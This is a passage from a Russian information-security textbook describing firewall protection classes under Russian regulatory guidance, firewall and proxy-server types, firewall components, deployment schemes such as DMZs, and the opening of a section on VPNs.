В июле 1997 г. вышел руководящий документ «Средства вычислительной техни ки. Межсетевые экраны. Защита от несанкционированного доступа к информации. Показатели защищенности от несанкционированного доступа» Гостехкомиссии при Президенте РФ [http://www.fstec.ru/docs/doc_3_3_006.htm]. В этом документе дана классификация МЭ в зависимости от степени обеспечиваемой ими защиты от НСД. Определение самого МЭ таково: МЭ - это локальное (однокомпонентное) или функ ционально-распределенное средство (комплекс), реализующее контроль за информа цией, поступающей в автоматизированную систему (АС) и/или выходящей из АС, и обеспечивает защиту АС посредством фильтрации информации, т. е. ее анализа по совокупности критериев и принятия решения о ее распространении в (из) АС.
Устанавливается 5 классов защищенности МЭ: 5 (самый низкий) - применяется для безопасного взаимодействия АС класса 1Д с внешней средой, 4 - для 1Г, 3 - 1В, 2 - 1Б, 1 (самый высокий) - для 1А. (Напомним, что Гостехкомиссией РФ установле но 9 классов защищенности АС от НСД, каждый из которых характеризуется опреде ленной совокупностью требований к средствам защиты. Классы подразделяются на 3 группы, отличающиеся спецификой обработки информации. Класс с цифрой «1» включает многопользовательские АС, в которых одновременно обрабатывается и/или хранится информация разных уровней конфиденциальности, и не все пользователи имеют равные права доступа.)
В табл. 1 приведены показатели защищенности для всех пяти классов МЭ. Дан ные показатели содержат требования к средствам защиты, обеспечивающим безопас ное взаимодействие сетей ЭВМ, АС посредством управления межсетевыми потоками информации, и реализованных в виде МЭ. Показатели защищенности применяются к МЭ для определения уровня защищенности, который они обеспечивают при межсе тевом взаимодействии. Конкретные перечни показателей определяют классы защи щенности МЭ.
Таблица 1. Показатели защищенности для МЭ
|
Показатели защищенности |
5 |
4 |
3 |
2 |
1 |
|
Управление доступом (фильтрация данных и трансляция адресов) |
+ |
+ |
+ |
+ |
|
|
Идентификация и аутентификация |
- |
- |
+ |
= |
- |
|
Регистрация |
- |
+ |
+ |
+ |
— |
|
Администрирование: идентификация и аутентификация |
+ |
= |
+ |
+ |
+ |
|
Администрирование: регистрация |
+ |
+ |
+ |
= |
= |
|
Администрирование: простота использования |
- |
- |
+ |
— |
+ |
|
Целостность |
+ |
= |
+ |
+ |
+ |
|
Восстановление |
+ |
= |
= |
+ |
= |
|
Тестирование |
+ |
+ |
+ |
+ |
+ |
|
Руководство администратора защиты |
+ |
= |
= |
= |
= |
|
Тестовая документация |
+ |
+ |
+ |
+ |
+ |
|
Конструкторская (проектная) документация |
+ |
= |
+ |
= |
+ |
Примечания:
«-» - нет требований к данному классу;
«+» - новые или дополнительные требования;
«=» _ требования совпадают с требованиями предыдущего класса.
Далее в Руководящем документе более подробно детализируются все перечис ленные в таблице требования. Также в этом документе есть статьи, регламентирую щие правила хранения секретной государственной информации. Пример: статья 1.6 -информация с грифом «секретно» должна размещаться в сетях, защищенных МЭ с классом защиты не ниже 3-го, «совершенно секретно» - не ниже 2-го, а «особой важ ности» - не ниже 1-го класса.
2.4. Типы межсетевых экранов
Существует несколько подходов к делению МЭ на виды в зависимости от вы бранного критерия классификации [17].
По функциональному назначению МЭ можно разделить на 2 больших класса. Пер вый предназначен для защиты периметра, второй - для защиты отдельных рабочих станций и серверов (такие МЭ часто называются персональными, или настольными).
По области применения МЭ могут подразделяться на несколько видов:
1) для небольших офисов и отдельных пользователей;
2) для крупных организаций, для которых в первую очередь важны отказоустой чивость и производительность, а также централизованное управление несколькими МЭ на основе принятых политик или шаблонов;
3) для сервис-провайдеров, для которых критично наличие централизованной сис темы мониторинга и управления множеством независимых МЭ заказчиков (managed firewall services) или разбиение одного высокопроизводительного МЭ на несколько логических МЭ, обслуживающих отдельных заказчиков.
По схеме подключения МЭ бывают трех видов:
1) схема единой защиты сети;
2) схема с защищаемым закрытым не защищаемым открытым сегментами сети;
3) схема с раздельной защитой закрытого и открытого сегментов сети.
МЭ располагаются на границе между подсетями для реализации контроля доступа между сегментами с различными политиками безопасности и регулирования трафика между ними. Но подобный контроль также можно осуществлять и на уровне хоста для фильтрации как входящих, так и исходящих пакетов на уровне конкретной сис темы. Такие МЭ называются хост-ориентированными (host-centric) [18], или индиви дуальными (personal) (за их направленность на защиту конкретной системы - точнее рабочей станции, а не сети в целом; хотя такие же МЭ можно устанавливать на сер веры, но они вряд ли используются для одного единственного компьютера в сети). Количество данных решений возрастает постоянно в связи с особой актуальностью решаемой ими проблемы.
По исполнению МЭ бывают либо программные, либо программно-аппаратные (их для краткости называют просто аппаратными).
Программные МЭ представляют собой ПО, устанавливаемое на компьютере, обычно под управлением Unix-подобных ОС или ОС семейства Windows. Их неоспо римое достоинство - простота интеграции с сервисами ОС (например, аутентифика цией) и более привычный для пользователей метод установки и настройки. Среди недостатков можно выделить непрогнозируемую производительность, необходи мость «подстройки» под них ОС и сложность технической поддержки.
Естественно, что именно из соображений производительности аппаратные МЭ в виде специализированных устройств с несколькими сетевыми интерфейсами наи более эффективны. Аппаратные МЭ содержат специализированные процессоры и часто собственные, специализированные ОС, ориентированные на решения подоб ных задач. Например, популярные системы подобного рода производит компания Cisco Systems. Практически все модели маршрутизаторов Cisco позволяют строить подобные системы защиты, задавая списки доступа и собирая статистическую ин формацию. С помощью нескольких команд можно запретить любому пакету из внут ренней сети организации покидать пределы интранет, в то же время обеспечивая со трудников доступом к основным ресурсам внешних сетей. При этом совершенно не уменьшается темп обмена пакетами - производительность сети.
К достоинству программно-аппаратных решений можно отнести:
■ простота внедрения МЭ в технологию обработки информации обеспечивается по ставкой с предустановленной и настроенной ОС и защитными механизмами, что требует только подключения его к сети;
■ аппаратные устройства могут управляться с любой рабочей станции Windows или Unix; взаимодействие консоли управления с устройством осуществляется по стандартным или защищенным протоколам, например, Telnet, SNMP, SSL;
■ производительность системы увеличивается из-за аппаратной поддержки некото рых функций, что снижает нагрузку на центральный процессор сервера или рабо чей станции, а также использования специализированной ОС;
■ реализация МЭ в специальном устройстве позволяет реализовать механизмы обеспечения программной и аппаратной отказоустойчивости. Аппаратные уст ройства относительно легко объединяются в кластеры.
В табл. 2 приведено краткое сравнение программных и аппаратных МЭ.
Таблица 2. Сравнение программных и аппаратных МЭ
|
Критерии |
Описание |
|
Обновляемость |
Обновление для новых уязвимостей обычно проще у программных МЭ |
|
Расширяемость |
Многие из аппаратных МЭ имеют ограниченные возможности для рас ширения |
|
Совместимость |
Программные МЭ позволяют выбрать из большого количества поставщи ков АО для различных сценариев |
|
Сложность |
Аппаратные МЭ часто менее сложны в установке и настройке |
|
Общая стабильность |
Главный критерий - может ли этот МЭ справится с поставленной зада чей. Довольно часто линия раздела между аппаратными и программными МЭ экранами размыта |
|
Цена |
Цена приобретения аппаратного МЭ может быть меньше. Программные МЭ имеют преимущество благодаря возможности использования деше вых процессоров и простоты обновления АО |
Решения на базе маршрутизаторов имеют компании Cisco (все решения на базе ОС Cisco IOS), Nortel (VPN-машрутизаторы серии 200/600/1000/1700/2700/5000), Juniper (се рии J2300/4300/6300 и M7i/10i/20/40e/320), D-Link (серия DI), Enterasys (серии защищен ных маршрутизаторов Matrix XSR 1805/1850/3000), HP (серия 7000 dl), Zyxel (линейки продуктов Р334, Р335), Allied Telesyn (серии 8800,9800, AT-AR, RG).
По используемой технологии МЭ делятся также на две категории: stateful inspection (контроль состояния сетевых соединений) и на основе прокси-сервера.
Сервер-посредник, или прокси-сервер (от англ. Proxy - «представитель, уполно моченный») [19] ждет директив из системы, защищенной МЭ, пересылает запрос к удаленному серверу, расположенному за пределами защищаемой системы, получает от него ответное сообщение и передает его по назначению. Эти серверы принимают запросы пользователей, например на услуги Интернет (такие как FTP, HTTP, Telnet и т. п.) и посылают их, в соответствии с политикой безопасности данного узла, к ре альным поставщикам этих услуг (рис. 24). При наличии прокси-сервера внутренние и внешние хосты не соединяются непосредственно, что положительно влияет на за щищенность интранет. Прокси-серверы выполняют проверку всего пакета, чтобы убедиться в соответствии его протоколу, который указан в номере порта адресата. Это гарантирует то, что будет пропущен только трафик, который соответствует заяв ленному протоколу.
Прокси-сервер находится под контролем администратора предприятия, что по зволяет реализовывать различные политики для дифференцированного управления доступом пользователей к сервисам и ресурсам внешних сетей и самой интранет,
фильтрации передаваемых данных (защита от вирусов, цензура и т. п.), кэширования (там, где это применимо).
Сегодня существует 2 основных типа прокси-серверов [19]. Первый, шлюз уровня канала (circuit-level gateway), устанавливает виртуальный канал между компьютера ми интранета и прокси-сервером на ее границе и управляет всеми связями между ин-транетом и внешней публичной сетью. Поскольку во всех исходящих пакетах IP-адрес источника он подменяет своим, то из внешней сети компьютеры пользователей «не видны». С точки зрения Интернет от имени всех пользовательских хостов пред приятия действует один прокси-сервер, т. е. имеется только один потенциальный объект для атаки из Интернет, а безопасность одного прокси-сервера, управляемого профессионалом, легче обеспечить, чем безопасность множества пользовательских компьютеров.
Второй тип прокси-сервера, называемый шлюзом уровня приложений (application-level gateway), работает на прикладном уровне модели OSI. Он может быть использо ван для анализа пакетов, поступающих извне на его WAN-интерфейс, в соответствии с установленными политиками безопасности. Шлюз способен анализировать адреса пакетов и другую информацию в заголовке, пропускать или отклонять пакеты в зави симости от их контекста, изменять адреса, заголовки или данные для того, чтобы скрыть ключевые сведения о приложениях и сервисах, работающих в интранете. Сложность в использовании шлюзов приложений заключается в том, что они обеспе чивают прокси-сервисы только для специально сконфигурированных приложений и протоколов, таких как HTTP, FTP, SMTP и Telnet. Для каждого типа приложения, требующего управления доступом через МЭ, необходимо инсталлировать и сконфи гурировать соответствующий прокси-сервис. К примеру, при конфигурировании FTP-прокси можно некоторые команды запретить, а SMTP-прокси можно настроить таким образом, чтобы он принимал почту из внешней сети без раскрытия внутренне го адреса, а затем пересылал ее на внутренний почтовый сервер.
Современные МЭ часто выполняют и функции прокси-серверов, хотя ранее они были отдельными сетевыми элементами.
Примерами прокси-серверов могут служить наиболее часто используемые для веб-клиентов WinGate, squid, SOCKS и др. Они доставляют копии часто запрашивае мых документов из кэш-памяти, позволяя не загружать их каждый раз из Интернета, аутентифицируют доступ в Интернет и отфильтровывают некоторые нежелательные элементы содержимого, например Java-апплеты.
Однако прокси-серверы не только пересылают запросы на услуги. Например, создан ный CF.RN прокси-сервер, работающий по протоколу HTTP, может накапливать данные в местном кэше на основе эвристических правил, так что пользователям интранет не нужно дважды отправляться в Интернет для получения изображения одной и той же Web-страницы. Их запросы просто переправляются в кэш, откуда и извлекается нужная страница. Кэширование также создает эффект увеличения полосы пропускания, посколь ку документы, передаваемые из близлежащего кэша, появляются мгновенно, в отличие от тех, которые приходят из какого-нибудь удаленного узла сети.
Большинство прокси-серверов позволяет точно задать размер кэша и время хра нения документов. Централизованное кэширование на прокси-сервере более эффек тивно по сравнению с распределенным, при котором копии одного и того же доку мента хранятся у нескольких пользователей, так как экономит дисковое пространст во. Централизованное кэширование также более эффективно в смысле распределения часто запрашиваемых документов, поскольку кэш-менеджер может прогнозировать, как долго нужно хранить тот или иной документ.
Но у кэширования в Интернет есть и другая сторона - неучтенный доступ к веб-узлам, что бывает крайне важно для соблюдения прав собственности и влечет за со бой определенные финансовые и рекламные последствия. Суть неучтенного доступа в следующем - при повторном обращении на такие узлы их страница загружается из кэша сервера-посредника и если на данной странице установлен счетчик посетите лей, то увеличение его значения не происходит. Защита от подобных ситуаций тако ва: добавить директиву «по саспе» к служебной информации, посылаемой с каждой страницей, или создать HTML-директиву, которая информирует браузеры и proxy-серверы о том, что первичные источники информации хотят знать о скрытых обра щениях.
Прокси-серверы пригодны для ведения журналов клиентов, включающих IP-адрес, дату и время, универсальный указатель ресурса URL, число переданных байтов и коэф фициент потерь. Большинство серверов могут вести свои списки разрешенных/запре щенных компьютеров и пользователей, просто при доступе с такими серверами прихо дится вводить дополнительный пароль. Но полной защиты от атаки такой подход не дает. Злоумышленник может проанализировать трафик и подменить в пакетах свой адрес на разрешенный. Правда, при этом он должен делать и обратную операцию. Обычно в этих случаях применяют протокол ICMP, который используется для ведения таблиц рассылки. Кроме того, что при такой атаке используют чужое имя, такая деятельность может при вести к «ICMP-взрыву», так как можно испортить таблицы рассылки и часть ПК в них будут помечены как недостижимые (для протокола RIP это метрика, равная 14, т. е. меж ду отправителем и получателем больше 14 шлюзов). Можно обращаться и непосредст венно на сервер, тем более, что многие серверы имеют свои собственные процедуры ау тентификации пользователей. В этом случае стена конфигурируется прозрачной для дос тупа к внутреннему серверу.
Прокси-серверы, выполняющие аутентификацию пользователей, намного надеж нее описанных ниже пакетных фильтров - одного из типов МЭ, но при этом прихо дится жертвовать показателями качества и прозрачности.
Кроме того, наличие поддержки прокси-серверов браузерами позволяет реализо вать такие определенные функции, как тиражирование узла (репликация) и баланси ровка загрузки, которые обеспечивают более эффективную работу с внутренней структурой серверов и тем самым делают применение прокси-серверов еще более выгодным.
Анализ статистики прокси-сервера укажет на сотрудников-нарушителей дисцип лины, которые тратят рабочее время и ресурсы техники на просмотр ненужных узлов или поиск через Интернет другого места работы.
По функционированию на уровнях модели OSI МЭ можно разделить на 4 типа (табл. 3) [20]:
1) экранирующие концентраторы (мосты, коммутаторы) (они являются не столько средством разграничения доступа, сколько оптимизации работы интранета за счет организации так называемых виртуальных локальных сетей - Virtual LAN и приме няются для межсетевого экранирования внутри интранета);
2) МЭ с пакетной фильтрацией или пакетные фильтры (от англ. - packet filters), или экранирующие маршрутизаторы;
3) шлюзы сеансового уровня или уровня соединения (circuit gateways), или экра нирующий транспорт;
4) шлюзы прикладного уровня (application gateways), или экранирующие шлюзы;
5) МЭ экспертного уровня (stateful inspection firewalls).
Таблица 3. Соотношение протоколов, уровней модели OSI и типов МЭ
|
Уровень модели OSI |
Протоколы |
Категория МЭ |
|
Прикладной |
Telnet, FTP, DNS, NFS, PING, SMTP, HTTP |
МЭ экспертного уровня и Шлюз при кладного уровня |
|
Представления данных |
||
|
Сеансовый |
TCP, UDP |
Шлюз сеансового уровня |
|
Транспортный |
||
|
Сетевой |
IP, ICMP |
МЭ с фильтрацией пакетов - экрани рующие маршрутизаторы |
|
Канальный |
Экранирующие концентраторы (мос ты, коммутаторы |
|
|
Физический |
В общем случае, чем выше уровень модели OSI, на котором МЭ фильтрует паке ты, тем более надежно он может быть сконфигурирован и тем выше обеспечиваемый им уровень защиты.
2.5. Основные компоненты межсетевого экрана
Кроме самой важной части - модуля фильтрации пакетов (отдельно он рас сматриваться не будет, поскольку функции его зависят от типа МЭ, а реализации разных производителей существенно отличаются друг от друга) и сетевого интер фейса (-ов), выделяют 3 основных компонента МЭ: подсистема администрирования, подсистемы сбора статистики и предупреждения об атаке и подсистема аутентифи кации. Кроме этого, во многих решениях присутствуют подсистемы контроля цело стности набора файлов и каталогов, определенного администратором МЭ, и восста новления работай МЭ в результате сбоя или прерывания в обслуживании.
1. Система администрирования. Легкость администрирования является одним из ключевых аспектов при создании эффективной и надежной системы защиты. Ошибки при определении правил доступа могут образовать лазейку, через которую рано или поздно будет взломана система. Поэтому в большинстве МЭ реализованы сервисные утилиты, облегчающие ввод, удаление и просмотр набора правил. Нали чие этих утилит позволяет также производить проверки на синтаксические или логи ческие ошибки при вводе или редактировании правил. Обычно эти утилиты позво ляют просматривать информацию, сгруппированную по каким-либо критериям, например все, что относится к конкретному пользователю или сервису. При выпол нении централизованного администрирования следует позаботиться о защите ин формации от пассивного и активного прослушивания сети.
Наилучшей практикой является администрирование МЭ только с локального тер минала. Но в повседневной жизни часто требуется некоторая форма удаленного дос тупа для выполнения некоторых операций по его администрированию. Тогда удален ный доступ к МЭ по небезопасным сетям должен осуществляться с использованием усиленной аутентификации, такой как одноразовые пароли и смарт-карты. Кроме то го, для предотвращения перехвата сеансов должно использоваться сквозное шифро вание всего трафика удаленного соединения с МЭ. Единственными зарегистрирован ными пользователями на МЭ могут быть только администратор МЭ и администратор архивных копий. Любая модификация системных программ на МЭ должна осущест вляться ими с разрешения ответственного за сетевые сервисы (или начальника отдела автоматизации).
Для обеспечения возможности восстановления после сбоя или стихийного бедст вия МЭ, как и любой другой сетевой хост, должен иметь политику создания архив ных копий. Для МЭ (его системных программ, конфигурационных файлов, баз дан ных и т. д.) должны создаваться ежедневные, еженедельные и ежемесячные архивные копии. Архивные копии должны храниться в безопасном месте на носителе, с кото рого можно только считать соответствующим сотрудникам информацию, чтобы их случайно не затерли. Другой альтернативой будет иметь запасной МЭ, сконфигури рованный как основной, и поддерживаемый в холодном резерве, чтобы в случае сбоя основного, запасной мог быть включен и использован вместо него, пока основной МЭ восстанавливается.
Для администрирования своей доменной зоны DNS многие организации исполь зуют услуги третьей организации, такой как провайдер Интернета. В этом случае МЭ может использоваться как кэширующий сервер DNS для улучшения производитель ности. Если организация решила иметь свою базу данных DNS, МЭ может функцио нировать и как DNS-сервер (основной, вторичный, кэширующий). Тогда он может быть сконфигурирован так, что будет скрывать информацию о внутренних хостах се ти. При этом внутренние хосты получают полную информацию о внутренних и внешних данных DNS, а внешние хосты не имеют доступа к информации о внутрен них машинах. Для внешнего мира все соединения с любым хостом внутренней сети кажутся исходящими от МЭ. ПБ для скрытия DNS-информации может иметь сле дующий вид: если МЭ должен работать как DNS-сервер, то он должен быть сконфи гурирован так, чтобы скрывать информацию о сети, чтобы данные о внутренних хос тах не предоставлялись внешнему миру.
2. Системы сбора статистики и предупреждения об атаке. Информация обо всех событиях: отказах, входящих и выходящих соединениях, числе переданных байт, использовавшихся сервисах, времени соединения и т. д., - накапливается в файлах статистики. Многие МЭ позволяют гибко определять подлежащие протоко лированию (протоколирование - это сбор и накопление информации о событиях, происходящих в информационной системе организации [20]) события, описывать по рядок локального и удаленного оповещения и действий при атаках или попытках НСД: сообщение на консоль, почтовое послание или SMS на мобильный телефон ад министратору системы и т. д. Немедленный вывод сообщения о попытке взлома на экран консоли или администратора может помочь, если попытка оказалась успешной и атакующий уже проник в систему. В состав многих МЭ входят генераторы отчетов, служащие для обработки статистики и позволяющие собрать статистику по исполь зованию ресурсов конкретными пользователями, по использованию сервисов, отка зам, источникам, с которых проводились попытки несанкционированного доступа ИТ. д.
3. Система аутентификации. Прежде чем пользователю будет предоставлено право получить тот или иной сервис, необходимо убедиться, что он действительно тот, за кого себя выдает (предполагается, что этот сервис для данного пользователя разрешен). При получении запроса на использование сервиса от имени какого-либо пользователя МЭ проверяет, какой способ аутентификации определен для данного пользователя, и передает управление серверу аутентификации. После получения по ложительного ответа МЭ формирует запрашиваемое пользователем соединение. МЭ на основе маршрутизаторов не обеспечивают аутентификации пользователей. МЭ, в состав которых входят прокси-серверф, обеспечивают аутентификацию по име ни/паролю (это самый плохой вариант, так как эта информация может быть перехва чена или получена путем подглядывания за ее вводом из-за спины и еще тысячей других способов), одноразовыми паролями и электронными сертификатами, чаще всего использующими шифрование с открытыми ключами. Ряд МЭ поддерживают систему Kerberos - один из наиболее распространенных методов аутентификации.
2.6. Схемы подключения межсетевых экранов
Для подключения МЭ используются различные схемы.
МЭ может работать в качестве внешнего маршрутизатора, используя поддер живаемые типы устройств для подключения к внешней сети (рис. 26, а, б и в). В этой конфигурации ключевым принципом обеспечения безопасности является запрет пря мой маршрутизации трафика из недоверенной сети в доверенную - МЭ всегда дол жен быть при этом промежуточным звеном.
Известны 2 основных метода использования одиночного МЭ: в классическом ва рианте МЭ устанавливаются на границе интранет и других сетей и для защиты от дельных подсетей (так называемых доменов безопасности) в интранет с особыми по литиками безопасности МЭ устанавливаются в этих подсетях. Для первого случая возможна установка одного МЭ (рис. 26, а и б), или целого ряда узкоспециализиро ванных МЭ (рис. 26, в) - для связи с бизнес-партнерами, для обслуживания пользова телей, подключаемых к интранет с помощью различных мобильных средств связи, для создания виртуальных частных сетей и т. д. Схема, показанная на рис. 26, в, так же позволяет организовать подключение по второму способу. По второй схеме пакет из Интернет в интранет попадает сначала на маршрутизатор, а далее после допуска в интранет МЭ направляет его либо на серверы - внешний DNS, Web, почтовый или на proxy, на консоль администратора или во внутреннюю сеть - на внутренний DNS или компьютеры пользователей.
Если МЭ может поддерживать 2 сетевых интерфейса - так называемый «двудом ный» (dual-homed) МЭ, то чаще всего подключение осуществляется через внешний маршрутизатор (рис. 27). Такой маршрутизатор (обычно со статическим пакетным фильтром) является первым устройством периметра для входящего трафика и по следним для исходящего. На нем блокируются пакеты с маршрутизацией от источ ника (source-route packets), поскольку они способны повредить защиту. Пограничный маршрутизатор также должен блокировать пакеты, передаваемые вне потока (Out of Band), например TCP-пакеты SYN-FIN. При этом между внешним маршрутизатором и МЭ имеется только один путь, по которому идет весь трафик. Обычно маршрутиза тор настраивается таким образом, что МЭ является для него единственным, видимым снаружи компьютером. В результате между МЭ и маршрутизатором образуется внутренняя экранированная подсеть. Ее можно использовать для размещения дос тупного извне информационного сервера. Размещение информационного сервера увеличивает безопасность сети, поскольку даже при проникновении на него зло умышленник не сможет получить доступ к системам сети через МЭ с двумя интер фейсами.
Только уполномоченные приложения, расположенные на МЭ, могут предостав лять услуги и доступ пользователям.
Данный вариант МЭ (типа шлюза) реализует политику безопасности, основанную на принципе «запрещено все, что не разрешено в явной форме». При этом пользова телю доступны только те службы, для которых определены соответствующие полно мочия. Такой подход обеспечивает высокий уровень безопасности, поскольку мар шруты к защищенной подсети известны лишь МЭ и скрыты от внешних систем.
Рассматриваемая схема организации защиты относительно проста и достаточно эффективна. На бастионе с МЭ могут быть установлены программы для усиленной аутентификации пользователей. МЭ может также протоколировать доступ, попытки зондирования и атак системы, что позволяет выявить действия злоумышленников.
Эта схема является наиболее предпочтительной с точки зрения безопасности и надежности защиты.
В данной схеме (рис. 28) первичная безопасность обеспечивается внешним фильтрующим маршрутизатором, который фильтрует или блокирует потенциально опасные протоколы, чтобы они не достигли МЭ и внутренних систем. МЭ реализует ся на бастионе и имеет только один сетевой интерфейс. Внешний фильтрующий маршрутизатор и МЭ вместе образуют экранирующий шлюз.
В подобной конфигурации МЭ (типа шлюза) может использовать комбинацию двух политик, соотношение между которыми зависит от конкретной политики безо пасности, принятой во внутренней сети. В частности, пакетная фильтрация на фильт рующем маршрутизаторе может быть организована таким образом, чтобы МЭ, ис пользуя свои уполномоченные приложения, обеспечивал для систем защищаемой се ти сервисы типа Telnet, FTP, SMTP.
Основной недостаток схемы с экранированным шлюзом заключается в том, что если атакующий сумеет проникнуть на бастион, перед ним окажутся незащищенны ми системы внутренней сети. Другой недостаток связан с возможной компрометаци ей маршрутизатора и, как следствие, внутренняя сеть станет доступна атакующему нарушителю.
Также используется немного усложненная схема с экранированной подсетью (рис. 29), позволяющая дополнительно контролировать трафик в зависимости от на правления его передачи до и после МЭ. Внешний маршрутизатор располагается меж ду Интернетом и экранируемой подсетью, а внутренний - между экранируемой под сетью и защищаемой внутренней сетью. В экранируемую подсеть входит МЭ (типа шлюза), а также могут включаться информационные серверы и другие системы, тре бующие контролируемого доступа.
Внешний маршрутизатор защищает от вторжений из Интернета как экранирован ную подсеть, так и внутреннюю сеть. Он запрещает доступ из глобальной сети к сис темам внутренней сети и блокирует весь трафик к Интернету, идущий от систем, ко торые не должны являться инициаторами соединений. Этот маршрутизатор может быть использован также для блокирования других уязвимых протоколов, которые не должны передаваться к хост-компьютерам внутренней сети или от них.
Внутренний маршрутизатор защищает внутреннюю сеть от НСД как из Интерне та, так и внутри экранированной подсети. Кроме того, он осуществляет большую часть пакетной фильтрации, а также управляет трафиком к системам внутренней сети и от них.
Такая схема обеспечивает высокий уровень безопасности и хорошо подходит для защиты сетей с большими объемами трафика или с высокими скоростями обмена. К ее недостаткам можно отнести то, что пара фильтрующих маршрутизаторов требу ет очень аккуратной настройки для обеспечения необходимого уровня безопасности, поскольку из-за ошибок в их конфигурировании могут возникнуть серьезные про блемы в системе безопасности всей сети. Кроме того, существует принципиальная возможность доступа в обход МЭ.
Как вариант возможна схема, представленная на рис. 30. В незащищенной части может располагаться веб-сервер, доступный для внешнего мира. Такая конфигурация называется «жертвенный ягненок». С точки зрения безопасности организации как целого это лучше всего, так как сервер может быть взломан. Тогда, по крайней мере, может не нарушиться защита всего интранета.
Возможна схема подключения МЭ, когда он защищает только одну подсеть из не скольких серверов, выходящих из маршрутизатора - защита «бастиона» серверов (рис. 31, а). В незащищаемой области часто располагают серверы, видимые снаружи: WWW, FTP и т. д. Некоторые МЭ предлагают разместить эти серверы на них самих -это решение, далеко не лучшее с точки зрения загрузки компьютера и безопасности самого МЭ.
Существуют решения, которые позволяют организовать из видимых снаружи сер веров третью сеть, что обеспечивает контроль за доступом при сохранении необхо димого уровня защиты компьютеров в основной сети. Для защиты каждый сервер можно подключить на отдельный сетевой интерфейс МЭ для 100-процентного кон троля трафика сервера. При этом достаточно много внимания уделяется тому, чтобы пользователи внутренней сети не могли случайно или умышленно открыть вход в интранет через эти видимые снаружи серверы (рис. 31,6).
Еще один вариант подключения - с выделением так называемой «демилитаризо ванной зоны» (ДМЗ) (рис. 32 а, б). Организация ДМЗ предназначена не только для защиты от атак из Интернет, но и внутри от компьютеров самой организации. ДМЗ -это часть интранета, содержащая шлюз (или 2 шлюза: внутренний и внешний) и отделенная с одной стороны от защищенной части интранет внешним МЭ, а с дру гой - от незащищенной части интранет, имеющей подключение к Интернет, внут ренним МЭ или маршрутизатором с фильтрами. При формировании ДМЗ создается две физически разделенные сети: одна - для общедоступных серверов, другая - для внутренних серверов и рабочих станций. В зависимости от типа ДМЗ и числа исполь зуемых брандмауэров применяется та или иная политика маршрутизации для каждой из сетей и жестко контролируется доступ между Интернетом и ДМЗ, Интернетом и внутренней сетью, ДМЗ и внутренней сетью. В ДМЗ могут находиться серверы об щего доступа, например Web, FTP, SMTP, DNS-серверы.
ДМЗ могут быть двух типов: трехдомные и промежуточные. ДМЗ трехдомного типа (с тремя сетевыми интерфейсами) (рис. 32, б) состоит из компьютера с установ ленным на нем МЭ, который имеет 3 сетевых интерфейса. Интерфейсы соединяют МЭ с Интернетом, с ДМЗ и с внутренней сетью. ДМЗ промежуточного типа (рис. 32, а) предполагает наличие одной системы с установленным на ней наружным МЭ, соединенной с Интернетом и ДМЗ, и другой системы с МЭ, соединяющей ДМЗ и внутреннюю сеть. Таким образом, ДМЗ промежуточного типа включает в себя 2 МЭ, которые придется преодолеть злоумышленнику. Поэтому данный тип ДМЗ обеспечивает более высокий уровень защиты внутренней сети по сравнению с ДМЗ трехдомного типа. Другие различия между двумя типами ДМЗ состоят в уровне за щиты общедоступных серверов и стоимости. Некоторые технические проблемы с IP-адресацией и сертификатами также могут повлиять на выбор типа ДМЗ.
Для повышения уровня защищенности возможно использовать в одной сети не сколько МЭ, стоящих друг за другом (выполняющих разные проверки пакетов) или параллельно друг другу (второй МЭ начинает работать, например, при выходе из строя первого), или выделенных в отдельную экранирующую подсеть. При этом как открытая, так и закрытая части интранет имеют доступ к изолированной сети. Пре имуществами данного подхода являются: возможность использования механизма трансляции адресов, что позволяет скрыть внутреннюю структуру интранет; возмож ность решения вопросов большого трафика при прохождении пакетов через разные бастионы (если они установлены параллельно, а не последовательно). К недостаткам данного подхода можно отнести необходимость технического сопровождения функ ционирования экранирующей подсети только высококвалифицированными специа листами и необходимость использования только высокопроизводительных бастионов в связи с большим объемом вычислений.
Защита информации в процессе передачи по каналам связи ОИС, как ранее отме чалось в п. 5.2 первой части учебника, основана на реализации следующих функций:
■ аутентификации (установление подлинности) взаимодействующих сторон;
■ шифровании передаваемых данных;
■ подтверждении подлинности и целостности доставленной информации;
■ защите от повтора, переупорядочивания, задержки и удаления сообщений;
■ защите от отрицания фактов отправления и приема сообщений.
Перечисленные функции во многом связаны друг с другом и могут быть вопло щены в едином целом только сразу несколькими подсистемами - управления инфор мационными потоками, регистрации и учета, криптографии и обеспечении целостно сти. Именно в технологии виртуальных частных вычислительных сетей (ВЧВС) (в англоязычной литература Virtual Private Network, VPN), появившейся в 1997 г., -все это присутствует в той или иной степени.
В общем случае ВЧВС обеспечивают:
■ защиту (конфиденциальность, подлинность и целостность) передаваемой по сетям информации;
■ защиту внутренних сегментов сети от НСД со стороны сетей общего пользования;
■ контроль доступа в защищаемый периметр сети;
■ сокрытие внутренней структуры защищаемых сегментов сети;
■ идентификацию и аутентификацию пользователей сетевых объектов;
■ централизованное управление политикой корпоративной сетевой безопасности и настройками ВЧВС;
■ криптографическую защиту данных, передаваемых по каналам связи сетей обще го пользования между защищаемыми сегментами сети;
■ безопасный доступ пользователей ВЧВС к ресурсам сетей общего пользования.
Технологию ВЧВС внутри корпорации дополняет технология вирутальных ло кальных вычислительных сетей (ВЛВС), которая за счет деления сети посредством ее сегментации (в зависимости от департаментов, помещений и т. п.) более эффективно ограничивает распространение трафика между отдельными узлами по всей сети.
4.1. Определение виртуальных частных вычислительных сетей
В проекте профиля защиты «Средства построения виртуальных частных вычисли тельных сетей. Защита от несанкционированного доступа к информации» [http://www.fstec.ru/_licen/_ml.htm] под ВЧВС понимается частная (доверенная) вы числительная сеть, реализуемая в менее доверенной среде. Это определение очень похоже на то, которое дает компания Check Point Software Technologies, не без осно вания считающаяся законодателем моды в области ВЧВС и МЭ: «VPN - это техноло гия, которая объединяет доверенные сети, узлы и пользователей через открытые сети, которым нет доверия». В [46] под ВЧВС понимают потоки данных одного пред приятия, которые существуют в публичной сети с коммутацией пакетов и в доста точной степени защищены от влияния потоков данных других пользователей этой публичной сети. Другими словами, ВЧВС - это некоторая имитация сети, построен ной на выделенных каналах.
Можно встретить и такие общие подходы к определению ВЧВС:
■ это защита трафика, основанная на криптографии;
■ это средство коммуникации, так как гарантия защиты доступа к внутренним ресурсам из любой точки мира инициирует применение информационных систем для удаленного доступа;
■ это средство влияния на стратегию развития коммуникационных систем корпора ции: вместо того чтобы вкладывать огромные средства в строительство собствен ных выделенных линий, корпорация практически сразу же может получить на дежно защищенные каналы связи от коммуникационных провайдеров.
